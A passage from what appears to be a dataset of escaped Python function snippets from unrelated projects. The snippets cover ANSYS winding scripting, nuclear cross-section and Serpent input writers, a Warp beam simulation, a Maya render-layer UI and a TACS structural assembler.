\\\"Layers\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"2\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"CoilPitch\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"1\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"EndExt\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"5mm\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"SpanExt\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"25mm\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"BendAngle\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"0deg\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"SegAngle\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"10deg\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"LenRegion\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"200mm\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"InfoCoil\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"0\\\"\\n ]\\n ]\\n ],\\n [\\n \\\"NAME:Attributes\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"LapCoil1\\\",\\n \\\"Flags:=\\\"\\t\\t, \\\"\\\",\\n \\\"Color:=\\\"\\t\\t, \\\"(143 175 143)\\\",\\n \\\"Transparency:=\\\"\\t, 0,\\n \\\"PartCoordinateSystem:=\\\", \\\"Global\\\",\\n \\\"UDMId:=\\\"\\t\\t, \\\"\\\",\\n \\\"MaterialValue:=\\\"\\t, \\\"\\\\\\\"copper\\\\\\\"\\\",\\n \\\"SurfaceMaterialValue:=\\\", \\\"\\\\\\\"\\\\\\\"\\\",\\n \\\"SolveInside:=\\\"\\t\\t, True,\\n \\\"ShellElement:=\\\"\\t, False,\\n \\\"ShellElementThickness:=\\\", \\\"0mm\\\",\\n \\\"IsMaterialEditable:=\\\"\\t, True,\\n \\\"UseMaterialAppearance:=\\\", False,\\n \\\"IsLightweight:=\\\"\\t, False\\n ]\\n )\\n\\n # Body Separation\\n oEditor.SeparateBody(\\n [\\n \\\"NAME:Selections\\\",\\n \\\"Selections:=\\\"\\t\\t, \\\"LapCoil1\\\",\\n \\\"NewPartsModelFlag:=\\\"\\t, \\\"Model\\\"\\n ],\\n [\\n \\\"CreateGroupsForNewObjects:=\\\", False\\n ]\\n )\\n\\n # Average Slot Width\\n AverWidth = (Bs2 + Bs1)/2\\n\\n # Average Radius\\n AverRadius = DiaGap/2 + g + Hs0 + Hs1 + Hs2*0.75\\n\\n # Angle to shift and find the kth tooth\\n ShiftSlot = 1/Slots*np.pi\\n\\n # Angle to fond the corrent layer\\n ShiftLayer = np.arctan(AverWidth/4/AverRadius)\\n\\n # List to save the coils sides names\\n WindingNames = [[], [], []]\\n\\n # Phases name to employed\\n PhaseNames = ['A', 'B', 'C']\\n\\n for phase, row in enumerate(PhasesABC):\\n\\n PhaseName = [[], []]\\n\\n for coil, slot in enumerate(row):\\n\\n SlotAngle = np.abs(slot)/Slots*2*np.pi - ShiftSlot\\n\\n if coil % 2 == 1:\\n SlotAngle = SlotAngle - ShiftLayer\\n\\n else:\\n SlotAngle = SlotAngle + ShiftLayer\\n\\n x = np.cos(SlotAngle)*AverRadius\\n y = np.sin(SlotAngle)*AverRadius\\n\\n Name0 = oEditor.GetBodyNamesByPosition(\\n [\\n \\\"NAME:Parameters\\\",\\n \\\"XPosition:=\\\", str(x)+\\\"mm\\\",\\n \\\"YPosition:=\\\", str(y)+\\\"mm\\\",\\n \\\"ZPosition:=\\\", \\\"0mm\\\"\\n ]\\n )\\n\\n C = Color[phase]\\n\\n if np.sign(slot) == 1:\\n\\n CoilSideName = PhaseNames[phase]+\\\"In\\\"+str(np.abs(coil))\\n\\n PhaseName[0] += [CoilSideName]\\n\\n oEditor.ChangeProperty(\\n [\\n \\\"NAME:AllTabs\\\",\\n [\\n \\\"NAME:Geometry3DAttributeTab\\\",\\n [\\n \\\"NAME:PropServers\\\",\\n Name0[0]\\n ],\\n [\\n \\\"NAME:ChangedProps\\\",\\n [\\n \\\"NAME:Name\\\",\\n \\\"Value:=\\\"\\t\\t,\\n CoilSideName\\n ],\\n [\\n \\\"NAME:Color\\\",\\n \\\"R:=\\\"\\t\\t\\t, C[0],\\n \\\"G:=\\\"\\t\\t\\t, C[1],\\n \\\"B:=\\\"\\t\\t\\t, C[2]\\n ],\\n\\n ]\\n ]\\n ]\\n )\\n else:\\n\\n CoilSideName = PhaseNames[phase]+\\\"Out\\\"+str(np.abs(coil))\\n\\n PhaseName[1] += [CoilSideName]\\n\\n oEditor.ChangeProperty(\\n [\\n \\\"NAME:AllTabs\\\",\\n [\\n \\\"NAME:Geometry3DAttributeTab\\\",\\n [\\n \\\"NAME:PropServers\\\",\\n Name0[0]\\n ],\\n [\\n \\\"NAME:ChangedProps\\\",\\n [\\n \\\"NAME:Name\\\",\\n \\\"Value:=\\\"\\t\\t,\\n CoilSideName\\n ],\\n [\\n \\\"NAME:Color\\\",\\n \\\"R:=\\\"\\t\\t\\t, C[0],\\n \\\"G:=\\\"\\t\\t\\t, C[1],\\n \\\"B:=\\\"\\t\\t\\t, C[2],\\n ],\\n\\n ]\\n ]\\n ]\\n )\\n\\n WindingNames[phase] += PhaseName\\n\\n main['ANSYS']['Winding']['CoilNames'] = WindingNames\\n\\n return main\",\n \"def construct_inp(self, path, nuclide, keylines, title = None, \\n xs_measurement = None):\\n # Add data format to keylines - should always be there #\\n if not self.data_format in keylines:\\n keylines = [self.data_format] + keylines \\n #\\n # Get thickness and reaction type from xs_measurement if possible, #\\n # otherwise use defaults #\\n try: thickness = xs_measurement.experiment.thickness \\n except: thickness = self.default_thickness\\n try: xs_type = xs_measurement.sammy_type\\n except: xs_type = self.default_xs_type\\n #\\n # Set title #\\n if title == None:\\n title = 'SAMMY inp file for %s-%s' % (nuclide.element, nuclide.mass)\\n #\\n with open(path,'w') as f:\\n # Write to the .inp file #\\n f.write(title[:80] + '\\\\n')\\n write_to_position(f, ['%s%i' % (nuclide.element, nuclide.mass), \\n nuclide.weight], [0, 10])\\n for keyline in keylines + ['']:\\n f.write(keyline + '\\\\n')\\n write_to_position(f, self.temperature, 0)\\n write_to_position(f, [nuclide.channel_radius, thickness],[0, 10])\\n write_to_position(f, xs_type, 0)\\n #\",\n \"def Initialize():\\n # --- Set four-character run id, comment lines, user's name.\\n top.pline2 = \\\"Example 3D beam in a FODO lattice\\\"\\n top.pline1 = \\\"S-G cigar beam. 64x64x256\\\"\\n top.runmaker = \\\"David P. Grote\\\"\\n\\n # --- Invoke setup routine - it is needed to created a cgm file for plots\\n setup()\\n\\n # --- Create the beam species\\n beam = Species(type=Potassium,charge_state=+1,name=\\\"Beam species\\\")\\n\\n # --- Set input parameters describing the beam, 72 to 17.\\n beam.b0 = 15.358933450767e-3\\n beam.a0 = 8.6379155933081e-3\\n beam.x0 = 3.*mm\\n beam.emit = 51.700897052724e-6\\n beam.ap0 = 0.e0\\n beam.bp0 = 0.e0\\n beam.ibeam = 2.e-03\\n beam.vbeam = 0.e0\\n beam.ekin = 80.e3\\n beam.aion = beam.type.A\\n beam.zion = beam.charge_state\\n top.lrelativ = false\\n top.derivqty()\\n beam.vthz = .5e0*beam.vbeam*beam.emit/sqrt(beam.a0*beam.b0) # Vthz ~ Vthperp\\n\\n # +++ Set up arrays describing lattice.\\n # --- Set temp variables.\\n hlp = 36.0e-2 # half lattice period length\\n piperad = 3.445e-2 # pipe radius\\n quadlen = 11.e-2 # quadrupole length\\n gaplen = 4.*cm\\n rodlen = quadlen + gaplen\\n dbdx = .949/quadlen\\n\\n # --- Set general lattice variables.\\n top.tunelen = 2.e0*hlp\\n env.zl = -hlp*2\\n env.zu = -env.zl\\n env.dzenv = top.tunelen/100.e0\\n\\n # --- Set up quadrupoles\\n addnewquad(zs= -quadlen/2.,\\n ze= +quadlen/2.,\\n db=-dbdx,ap=piperad)\\n addnewquad(zs=hlp - quadlen/2.,\\n ze=hlp + quadlen/2.,\\n db=+dbdx,ap=piperad)\\n addnewquad(zs=2.*hlp - quadlen/2.,\\n ze=2.*hlp + quadlen/2.,\\n db=-dbdx,ap=piperad)\\n top.zlatstrt = 0.\\n top.zlatperi = 2.e0*hlp\\n\\n # +++ Set input parameters describing the 3d simulation.\\n w3d.nx = 64/2\\n w3d.ny = 64/2\\n w3d.nz = 256/2\\n steps_p_perd = 50\\n top.dt = (top.tunelen/steps_p_perd)/beam.vbeam\\n\\n # --- Set to finite beam.\\n top.pbound0 = top.pboundnz = periodic\\n top.pboundxy = absorb\\n w3d.xmmin = -piperad\\n w3d.xmmax = piperad\\n w3d.ymmin = -piperad\\n w3d.ymmax = piperad\\n w3d.zmmin = -hlp*2\\n w3d.zmmax = +hlp*2\\n top.prwall = piperad\\n\\n # --- Set pulse length.\\n beam.zimin = w3d.zmmin*.95/2.\\n beam.zimax = w3d.zmmax*.95/2.\\n\\n # --- Load Semi-Gaussian cigar beam.\\n top.npmax = 20000\\n w3d.distrbtn = \\\"semigaus\\\"\\n w3d.cigarld = true\\n w3d.xrandom = \\\"digitrev\\\"\\n w3d.vtrandom = \\\"digitrev\\\"\\n w3d.vzrandom = \\\"digitrev\\\"\\n w3d.ldprfile = \\\"polar\\\"\\n w3d.cylinder = false\\n top.straight = .8\\n\\n # --- set up field solver\\n w3d.l4symtry = true\\n w3d.bound0 = periodic\\n w3d.boundnz = periodic\\n w3d.boundxy = dirichlet\\n\\n solver = MultiGrid3D()\\n registersolver(solver)\\n\\n pipe = ZCylinderOut(piperad,4.,voltage=0.)\\n installconductors(pipe,dfill=largepos)\\n\\n # --- Run the envelope solver to provide data used to initialize particles.\\n package(\\\"env\\\")\\n generate()\\n step()\\n\\n # --- Generate the PIC code (allocate storage, load ptcls, t=0 plots, etc.).\\n package(\\\"w3d\\\")\\n generate()\\n return\",\n \"def create(args):\\n print('Creates an HPC fleet with given name \\\"{}\\\"'.format(args.fleet_name))\",\n \"def New(*args, **kargs):\\n obj = itkMeshSourcePSUC3.__New_orig__()\\n import itkTemplate\\n itkTemplate.New(obj, *args, **kargs)\\n return obj\",\n \"def create(data):\\n \\n # create part\\n part = Part.create(data['part'])\\n \\n # create color\\n color = Color.create(data['color'])\\n \\n # create element\\n element = Element(\\n part = part,\\n color = color,\\n element_id = data.get('element_id', None),\\n design_id = data.get('design_id', None),\\n img_url = data.get('element_img_url', None),\\n count = data.get('quantity', None),\\n is_spare = data.get('is_spare', None))\\n \\n return element\",\n \"def create_layout( self ):\",\n \"def createUI(self):\\n\\n q.getQItem(windowID, QtWidgets.QWidget)\\n cmds.setParent(q.fullPath)\\n\\n # ################################################\\n # Active Render Layer\\n\\n # cmds.separator(height=12, style='none')\\n addFrameLayout(\\n '%s_frameLayoutLayers' % windowID,\\n 'Visible Render Layer', collapsable=False,\\n labelVisible=False,\\n marginHeight=0\\n )\\n\\n addRowLayout(\\n '%s_rowLayoutActiveRenderLayer' % windowID,\\n 4,\\n columnAlign4=('left', 'left', 'right', 'right'),\\n columnAttach4=('left', 'both', 'right', 'right'),\\n columnWidth4=(\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.775,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075\\n )\\n )\\n\\n\\n addButton('%s_addNewLayer' % windowID, 'New', rsAddNewLayer,\\n image='RS_create_layer', size=(21, 21))\\n addOptionMenu('%s_selectActiveLayer' % windowID,\\n 'Active Layer ', (), rsSelectActiveLayer)\\n addButton('rsOpenRenderSetupWindow', 'Render Setup',\\n rsOpenRenderSetupWindow, image='render_setup.png',\\n size=(21, 21))\\n addButton('rsOpenUnifiedRenderGlobals', 'Render Globals',\\n rsOpenUnifiedRenderGlobals, image='render_setup.png',\\n size=(21, 21))\\n\\n # ################################################\\n # Work Render Layers\\n\\n cmds.setParent(q.fullPath)\\n addFrameLayout('%s_frameLayoutLayersB' % windowID,\\n 'Work Render Layer', collapsable=False,\\n labelVisible=False, marginHeight=0)\\n addRowLayout('%s_rowLayoutVisibleRenderLayer' % windowID, 3,\\n columnAlign3=('left', 'left', 'right'),\\n columnAttach3=('left', 'both', 'right'),\\n columnWidth3=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.075, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.85,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075))\\n\\n cmds.separator()\\n addOptionMenu('%s_selectVisibleLayer' % windowID,\\n 'Visible Layer ', (), rsSelectVisibleLayer)\\n cmds.separator()\\n\\n cmds.setParent(q.fullPath)\\n cmds.separator(height=12, style='none')\\n\\n # ################################################\\n # Collections\\n\\n addFrameLayout('%s_frameLayout02' % windowID, 'Collections',\\n labelVisible=False, marginHeight=0)\\n\\n addRowLayout(\\n '%s_rowLayout02' % windowID,\\n 6,\\n columnAlign6=('left', 'left', 'left', 'left', 'left', 'left'),\\n columnAttach6=('both', 'both', 'right', 'right', 'right', 'right'),\\n columnWidth6=(\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.18,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.18,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.415,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\\n )\\n )\\n\\n addButton('rsAddCollection', 'Add', rsAddCollection)\\n addButton('rsRemoveCollection', 'Remove', rsRemoveCollection)\\n addButton('rsSelectShapes', 'Select Shapes', rsSelectShapes,\\n image='selectObject.png', size=(21, 21))\\n addButton('rsRenameShader', 'Rename Shader', rsRenameShader,\\n size=(21, 21), image='QR_rename.png')\\n addButton('rsDuplicateShader', 'Duplicate Shader',\\n duplicateShader, size=(21, 21), image='newPreset.png')\\n addButton('rsRefreshUI', 'Refresh', rsRefreshUI, size=(21, 21),\\n image='QR_refresh.png')\\n\\n # ###########################\\n # Filter List\\n\\n cmds.setParent('%s_frameLayout02' % windowID)\\n addRowLayout('%s_rowLayout03' % windowID, 2,\\n columnAlign2=('left', 'left'),\\n columnAttach2=('both', 'both'),\\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.6, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.42))\\n\\n addTextField('%s_filterShaderList' % windowID, 'Search',\\n rsFilterShaderList_off, rsFilterShaderList_off,\\n window.updateUI)\\n addOptionMenu('rsShaderGroups', '|', (), rsShaderGroups)\\n\\n # ###########################\\n # The shaders scroll list\\n\\n cmds.setParent('%s_frameLayout02' % windowID)\\n addRowLayout('%s_rowLayout04' % windowID, 1, columnAlign1='both', columnAttach1='both', columnWidth1=WINDOW_WIDTH\\n + 12)\\n addTextScrollList('%s_ShaderScrollList' % windowID, (),\\n rsShaderScrollList_doubleClick,\\n rsShaderScrollList_onSelect,\\n rsShaderScrollList_deleteKey)\\n\\n # Add popup menu:\\n\\n cmds.popupMenu('rsShaderScrollListPopupMenu',\\n parent='%s_ShaderScrollList' % windowID,\\n allowOptionBoxes=False, markingMenu=True,\\n postMenuCommand=postMenuCommand)\\n cmds.menuItem('%s_popupMenuItem02' % windowID,\\n label='Duplicate Shader', command=duplicateShader)\\n cmds.menuItem(divider=True)\\n cmds.menuItem('%s_popupMenuItem04' % windowID,\\n label='Graph Shader')\\n cmds.menuItem(divider=True)\\n cmds.menuItem('%s_popupMenuItem03' % windowID,\\n label='Select Shader')\\n cmds.menuItem(divider=True)\\n cmds.menuItem('%s_popupMenuItem05' % windowID,\\n label='Select Assigned Shapes')\\n cmds.menuItem('%s_popupMenuItem06' % windowID,\\n label='Select Assigned Transforms')\\n\\n # ##################################################\\n # Arnold Property Overrides\\n\\n cmds.setParent('%s_frameLayout02' % windowID)\\n cmds.columnLayout(\\n '%s_columnLayout20' % windowID,\\n width=WINDOW_WIDTH - FRAME_MARGIN * 2,\\n columnAlign='left',\\n columnAttach=('left', 0),\\n adjustableColumn=False,\\n rowSpacing=0,\\n )\\n\\n cmds.separator(parent='%s_columnLayout20' % windowID, height=4,\\n style='none')\\n\\n addRowLayout('%s_rowLayout05' % windowID, 2,\\n columnAlign2=('left', 'both'),\\n columnAttach2=('left', 'right'),\\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.75, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.25))\\n addText('%s_textArnoldPropertyOverridesLabel' % windowID,\\n 'Apply Arnold Property Overrides', 'plainLabelFont')\\n addCheckBox('rsArnoldPropertyOverridesCheckBox', '',\\n rsArnoldPropertyOverridesCheckBox,\\n rsArnoldPropertyOverridesCheckBox)\\n cmds.separator(parent='%s_columnLayout20' % windowID, height=4,\\n style='none')\\n\\n # Column Layout to toggle\\n\\n cmds.setParent('%s_columnLayout20' % windowID)\\n cmds.columnLayout(\\n '%s_columnLayout02' % windowID,\\n width=WINDOW_WIDTH - FRAME_MARGIN * 2,\\n columnAlign='left',\\n columnAttach=('left', 0),\\n adjustableColumn=False,\\n rowSpacing=0,\\n )\\n\\n addCheckboxes('%s_columnLayout02' % windowID)\\n cmds.columnLayout('%s_columnLayout02' % windowID, edit=True,\\n visible=False)\\n\\n # #################################################\\n # Shader Override\\n\\n cmds.setParent('%s_frameLayout02' % windowID)\\n cmds.columnLayout(\\n '%s_columnLayout21' % windowID,\\n width=WINDOW_WIDTH - FRAME_MARGIN * 2,\\n columnAlign='left',\\n columnAttach=('left', 0),\\n adjustableColumn=False,\\n rowSpacing=0,\\n )\\n cmds.separator(parent='%s_columnLayout21' % windowID, height=4,\\n style='none')\\n addRowLayout('%s_rowLayout06' % windowID, 2,\\n columnAlign2=('left', 'right'),\\n columnAttach2=('left', 'right'),\\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.75, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.25))\\n addText('%s_shaderOverrideLabel' % windowID, 'Shader Override',\\n 'plainLabelFont')\\n addCheckBox('%s_shaderOverrideCheckbox' % windowID, '',\\n rsShaderOverrideCheckbox, rsShaderOverrideCheckbox)\\n cmds.separator(parent='%s_columnLayout21' % windowID, height=4,\\n style='none')\\n\\n cmds.setParent('%s_columnLayout21' % windowID)\\n cmds.columnLayout(\\n '%s_columnLayout03' % windowID,\\n width=WINDOW_WIDTH - FRAME_MARGIN * 2,\\n columnAlign='left',\\n columnAttach=('both', 4),\\n adjustableColumn=True,\\n rowSpacing=0,\\n )\\n cmds.setParent('%s_columnLayout03' % windowID)\\n addOptionMenu('%s_optionMenu02' % windowID, 'Select: ', (),\\n rsShaderOverridesMenu)\\n\\n global selectedShaderOverride\\n\\n # default selection\\n\\n selectedShaderOverride = SHADER_OVERRIDE_OPTIONS[0]['ui']\\n cmds.columnLayout('%s_columnLayout03' % windowID, edit=True,\\n visible=False)\\n\\n # #################################################\\n\\n cmds.setParent(q.fullPath)\\n cmds.separator(height=10, style='none')\\n\\n # #################################################\\n # Extras\\n\\n addFrameLayout('%s_frameLayout50' % windowID, 'Extras',\\n collapsable=True, marginHeight=0,\\n labelVisible=False)\\n\\n # #################################################\\n # Add & Assign Shader Groups\\n\\n addFrameLayout(\\n '%s_frameLayout05' % windowID,\\n 'Add & Assign Shader Groups',\\n collapsable=True,\\n marginWidth=0,\\n marginHeight=0,\\n collapse=False,\\n labelVisible=True,\\n )\\n\\n # Add the renamer window\\n\\n self.gwCustomRenamer = CustomRenamer()\\n self.gwCustomRenamer.createUI()\\n\\n # #################################################\\n # AutoConnect\\n\\n cmds.setParent('%s_frameLayout50' % windowID)\\n\\n addFrameLayout(\\n '%s_frameLayout03' % windowID,\\n 'Adobe Connector',\\n collapsable=True,\\n marginWidth=0,\\n marginHeight=0,\\n collapse=True,\\n labelVisible=True,\\n )\\n addRowLayout('%s_rowLayout07', 3, columnAlign3=('left', 'left',\\n 'left'), columnAttach3=('both', 'both', 'both'),\\n columnWidth3=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.4, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.3,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.3))\\n addButton('updateConnections', '> Update Connections <',\\n updateConnections)\\n addButton('uvSnapshot', 'UV Snapshot', uvSnapshot)\\n addButton('editTexture', 'Edit Texture', editTexture)\\n\\n # After Effects\\n\\n cmds.setParent('%s_frameLayout03' % windowID)\\n addRowLayout('%s_rowLayout11' % windowID, 2,\\n columnAlign2=('left', 'left'),\\n columnAttach2=('both', 'both'),\\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.4, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.6))\\n addText('%s_text90' % windowID, 'Send to After Effects:')\\n addButton('makeCompButton', 'Send to After Effects', rsMakeComp)\\n\\n # #################################################\\n # Render Setup /\\n # Output settings\\n\\n cmds.setParent('%s_frameLayout50' % windowID)\\n addFrameLayout(\\n '%s_frameLayout04' % windowID,\\n 'Output Settings',\\n collapsable=True,\\n marginWidth=0,\\n marginHeight=0,\\n collapse=True,\\n labelVisible=True,\\n )\\n addRowLayout('%s_rowLayout08' % windowID, 1,\\n columnAlign1='center', columnAttach1='both',\\n columnWidth1=WINDOW_WIDTH - FRAME_MARGIN * 2)\\n addButton('%s_revealOutputDirectory' % windowID,\\n 'Output path not set yet', rsRevealOutputDirectory)\\n\\n cmds.setParent('%s_frameLayout04' % windowID)\\n addRowLayout('%s_rowLayout09' % windowID, 3,\\n columnAlign3=('left', 'right', 'right'),\\n columnAttach3=('left', 'right', 'right'),\\n columnWidth3=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.8, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.14,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.06))\\n\\n addOptionMenu('%s_optionMenu05' % windowID, '', (),\\n rsSelectOutputTemplate)\\n addOptionMenu('%s_outputVersionMenu' % windowID, '', (),\\n rsSelectOutputVersion)\\n cmds.menuItem(label='v001')\\n\\n cmds.setParent('%s_rowLayout09' % windowID)\\n addButton('%s_incrementOutputVersionButton' % windowID, '+1',\\n rsIncrementOutputVersion, size=(21, 21))\\n\\n cmds.setParent('%s_frameLayout04' % windowID)\\n addRowLayout('%s_rowLayout10' % windowID, 2,\\n columnAlign2=('left', 'left'),\\n columnAttach2=('both', 'right'),\\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.7, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.3))\\n addOptionMenu('%s_optionMenu03' % windowID, 'Format:', (),\\n rsOutputTemplatesMenu)\\n addOptionMenu('%s_optionMenu06' % windowID, '', (),\\n rsSetFPSMenu)\\n\\n cmds.setParent('%s_frameLayout04' % windowID)\\n addRowLayout('%s_rowLayout12' % windowID, 4,\\n columnAlign4=('right', 'left', 'right', 'left'),\\n columnAttach4=('both', 'both', 'both', 'both'),\\n columnWidth4=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.50, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.15,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.20,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.15))\\n\\n addText('%s_setInFrameLabel' % windowID, 'In Frame ')\\n addTextField('%s_setInFrame' % windowID, '', setInFrame,\\n setInFrame, setInFrame)\\n\\n addText('%s_setOutFrameLabel' % windowID, 'Out Frame ')\\n addTextField('%s_setOutFrame' % windowID, '', setOutFrame,\\n setOutFrame, setOutFrame)\",\n \"def __createLayout(self):\\r\\n self.__createCanvas()\\r\\n self.__createButton()\\r\\n self.__createInputFunction()\\r\\n self.__createLimits()\\r\\n self.__styleLayout()\",\n \"def _make_serpent_input(self):\\n # Create the problem description\\n lines = ['% Point source in infinite geometry']\\n lines.append('')\\n\\n # Set the cross section library directory\\n if self.xsdir is not None:\\n xsdata = (self.other_dir / 'xsdata').resolve()\\n lines.append(f'set acelib \\\"{xsdata}\\\"')\\n lines.append('')\\n \\n # Create the cell cards: material 1 inside sphere, void outside\\n lines.append('% --- Cell cards ---')\\n lines.append('cell 1 0 m1 -1')\\n lines.append('cell 2 0 outside 1')\\n lines.append('')\\n\\n # Create the surface cards: box centered on origin with 2e9 cm sides`\\n # and reflective boundary conditions\\n lines.append('% --- Surface cards ---')\\n lines.append('surf 1 cube 0.0 0.0 0.0 1.e9')\\n\\n # Reflective boundary conditions\\n lines.append('set bc 2')\\n lines.append('')\\n\\n # Create the material cards\\n lines.append('% --- Material cards ---')\\n name = zaid(self.nuclide, self.suffix)\\n if self.thermal is not None:\\n Z, A, m = openmc.data.zam(self.nuclide)\\n lines.append(f'mat m1 -{self.density} moder t1 {1000*Z + A}')\\n else:\\n lines.append(f'mat m1 -{self.density}')\\n lines.append(f'{name} 1.0')\\n\\n # Add thermal scattering library associated with the nuclide\\n if self.thermal is not None:\\n lines.append(f'therm t1 {self.thermal}')\\n lines.append('')\\n\\n # External source mode with isotropic point source at center of sphere\\n lines.append('% --- Set external source mode ---')\\n lines.append(f'set nps {self.particles} {self._batches}')\\n energy = self.energy * 1e-6\\n lines.append(f'src 1 n se {energy} sp 0.0 0.0 0.0')\\n lines.append('')\\n\\n # Detector definition: flux energy spectrum\\n lines.append('% --- Detector definition ---')\\n lines.append('det 1 de 1 dc 1')\\n\\n # Energy grid definition: equal lethargy spacing\\n min_energy = self._min_energy * 1e-6\\n lines.append(f'ene 1 3 {self._bins} {min_energy} {1.0001*energy}')\\n lines.append('')\\n\\n # Treat fission as capture\\n lines.append('set nphys 0')\\n\\n # Turn on unresolved resonance probability treatment\\n lines.append('set ures 1')\\n\\n # Write the problem\\n with open(self.other_dir / 'input', 'w') as f:\\n f.write('\\\\n'.join(lines))\",\n \"def __init__(\\n self,\\n name: str,\\n createStepName: str,\\n surface: Region,\\n interactionProperty: str,\\n mechanicalConstraint: SymbolicConstant = KINEMATIC,\\n contactControls: str = \\\"\\\",\\n ):\\n super().__init__()\\n pass\",\n \"def create_instance(c_instance):\\n return LemaurPad(c_instance)\",\n \"def create_from_bdf(\\n cls,\\n model,\\n comm,\\n nprocs,\\n bdf_file,\\n prefix=\\\"\\\",\\n callback=None,\\n struct_options={},\\n thermal_index=-1,\\n override_rotx=False,\\n ):\\n\\n # Split the communicator\\n world_rank = comm.Get_rank()\\n if world_rank < nprocs:\\n color = 1\\n else:\\n color = MPI.UNDEFINED\\n tacs_comm = comm.Split(color, world_rank)\\n\\n assembler = None\\n f5 = None\\n Fvec = None\\n if world_rank < nprocs:\\n # Create the assembler class\\n fea_assembler = pytacs.pyTACS(bdf_file, tacs_comm, options=struct_options)\\n\\n \\\"\\\"\\\"\\n Automatically adds structural variables from the BDF / DAT file into TACS\\n as long as you have added them with the same name in the DAT file.\\n\\n Uses a custom funtofem callback to create thermoelastic shells which are unavailable\\n in pytacs default callback. And creates the DVs in the correct order in TACS based on DVPREL cards.\\n \\\"\\\"\\\"\\n\\n # get dict of struct DVs from the bodies and structural variables\\n # only supports thickness DVs for the structure currently\\n structDV_dict = {}\\n variables = model.get_variables()\\n structDV_names = []\\n\\n # Get the structural variables from the global list of variables.\\n struct_variables = []\\n for var in variables:\\n if var.analysis_type == \\\"structural\\\":\\n struct_variables.append(var)\\n structDV_dict[var.name.lower()] = var.value\\n structDV_names.append(var.name.lower())\\n\\n # use the default funtofem callback if none is provided\\n if callback is None:\\n include_thermal = any(\\n [\\\"therm\\\" in body.analysis_type for body in model.bodies]\\n )\\n callback = f2f_callback(\\n fea_assembler, structDV_names, structDV_dict, include_thermal\\n )\\n\\n # Set up constitutive objects and elements in pyTACS\\n fea_assembler.initialize(callback)\\n\\n # get any constant loads for static case\\n Fvec = addLoadsFromBDF(fea_assembler)\\n # Fvec = None\\n\\n # Retrieve the assembler from pyTACS fea_assembler object\\n assembler = fea_assembler.assembler\\n\\n # Set the output file creator\\n f5 = fea_assembler.outputViewer\\n\\n # Create the output generator\\n gen_output = TacsOutputGenerator(prefix, f5=f5)\\n\\n # get struct ids for coordinate derivatives and .sens file\\n struct_id = None\\n if assembler is not None:\\n # get list of local node IDs with global size, with -1 for nodes not owned by this proc\\n num_nodes = fea_assembler.meshLoader.bdfInfo.nnodes\\n bdfNodes = range(num_nodes)\\n local_tacs_ids = fea_assembler.meshLoader.getLocalNodeIDsFromGlobal(\\n bdfNodes, nastranOrdering=False\\n )\\n\\n \\\"\\\"\\\"\\n the local_tacs_ids list maps nastran nodes to tacs indices with:\\n local_tacs_ids[nastran_node-1] = local_tacs_id\\n Only a subset of all tacs ids are owned by each processor\\n note: tacs_ids in [0, #local_tacs_ids], #local_tacs_ids <= nnodes\\n for nastran nodes not on this processor, local_tacs_id[nastran_node-1] = -1\\n\\n The next lines of code invert this map to the list 'struct_id' with:\\n struct_id[local_tacs_id] = nastran_node\\n\\n This is then later used by funtofem_model.write_sensitivity_file method to write\\n ESP/CAPS nastran_CAPS.sens files for the tacsAIM to compute shape derivatives\\n \\\"\\\"\\\"\\n\\n # get number of non -1 tacs ids, total number of actual tacs_ids\\n n_tacs_ids = 